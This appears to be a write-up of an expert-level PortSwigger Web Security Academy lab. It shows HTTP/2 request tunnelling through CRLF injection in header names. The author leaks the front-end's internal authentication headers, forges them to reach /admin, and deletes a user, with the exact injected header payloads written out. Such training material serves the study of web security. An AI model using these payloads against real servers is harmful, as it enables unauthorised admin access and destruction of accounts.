Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type HTTP/2 Request Tunnelling — CRLF Header Injection, Admin Bypass
Difficulty Expert
Objective Access /admin as administrator and delete carlos

Bypassing Access Controls via HTTP/2 Request Tunnelling

Navigating to /admin: Admin interface only available if logged in as an administrator.

Screenshot

The front-end doesn't reuse connections to the back-end, so classic request smuggling won't work. But CRLF injection into header names still enables request tunnelling.

In Inspector, we add a header whose name contains a CRLF sequence followed by a Host override:

Name: Teto: teto\r\nHost: teto.com\r\nMiku
Value: miku
Screenshot
Screenshot

Response: Server Error: Gateway Timeout connecting to teto.com — the server tried to connect to teto.com. The CRLF in the header name broke out of the header line and injected a new Host. Tunnelling is possible.

Next, we need to find out what internal headers the front-end adds during the HTTP/2 → HTTP/1 downgrade — those are likely what the admin panel uses to verify identity. The search bar makes a good reflection sink: injecting a CRLF into a header name with an inflated Content-Length causes the front-end's appended internal headers to land inside the search parameter value, where they get reflected back.

POST to /?search=teto with this header in Inspector:

Name: Teto: teto\r\nContent-Length: 110\r\n\r\nsearch=teto
Value: teto
Screenshot

The search results reflect:

0 search results for 'teto: teto
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 3273245140899282
Content-Length:'
Screenshot

Three internal headers, leaked. Now to actually tunnel a GET /admin inside a header name using CRLF. To read the tunnelled response back, we switch the outer request method to HEAD so the front-end over-reads the back-end response, leaking the tunnelled body. The HEAD endpoint's Content-Length has to align with the tunnelled response length. Checking page sizes with curl:

/        → Content-Length: 8640
/admin   → Content-Length: 2776
/login   → Content-Length: 3351

The admin panel response we're tunnelling is around 3293 bytes. If the HEAD endpoint's Content-Length is 2776 (too small), the response gets truncated. /login at 3351 is enough to read the full tunnelled response.

Inspector header for the HEAD request to /login (outer) tunnelling to /admin:

Teto: teto\r\n\r\nGET /admin HTTP/1.1\r\nHost: 0afc00cb0370dde0803b3000009f004a.web-security-academy.net\r\nX-SSL-VERIFIED: 0\r\nX-SSL-CLIENT-CN: null\r\nX-FRONTEND-KEY: 3273245140899282\r\n\r\n

Still getting 401. Two things to tweak: X-SSL-VERIFIED: 0 → 1, and X-SSL-CLIENT-CN: null → administrator.

Screenshot

With X-SSL-CLIENT-CN: administrator:

Screenshot
HTTP/1.1 200 OK
Content-Length: 3293

The tunnelled response is a 200. At the bottom of the leaked body:

<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
Screenshot

Updating the tunnelled path to /admin/delete?username=carlos:

Teto: teto\r\n\r\nGET /admin/delete?username=carlos HTTP/1.1\r\nHost: ...\r\nX-SSL-VERIFIED: 1\r\nX-SSL-CLIENT-CN: administrator\r\nX-FRONTEND-KEY: 3273245140899282\r\n\r\n
Screenshot

Response is a 500 byte mismatch error — but carlos is deleted and the lab is solved.

Screenshot

The 500 is expected: the delete endpoint returns a 302 redirect, much shorter than the 3351 bytes the front-end was expecting from the HEAD Content-Length.

The front-end errors on the byte count, but the back-end already processed the delete request before that.

After this, the lab will be solved. O.o

Resources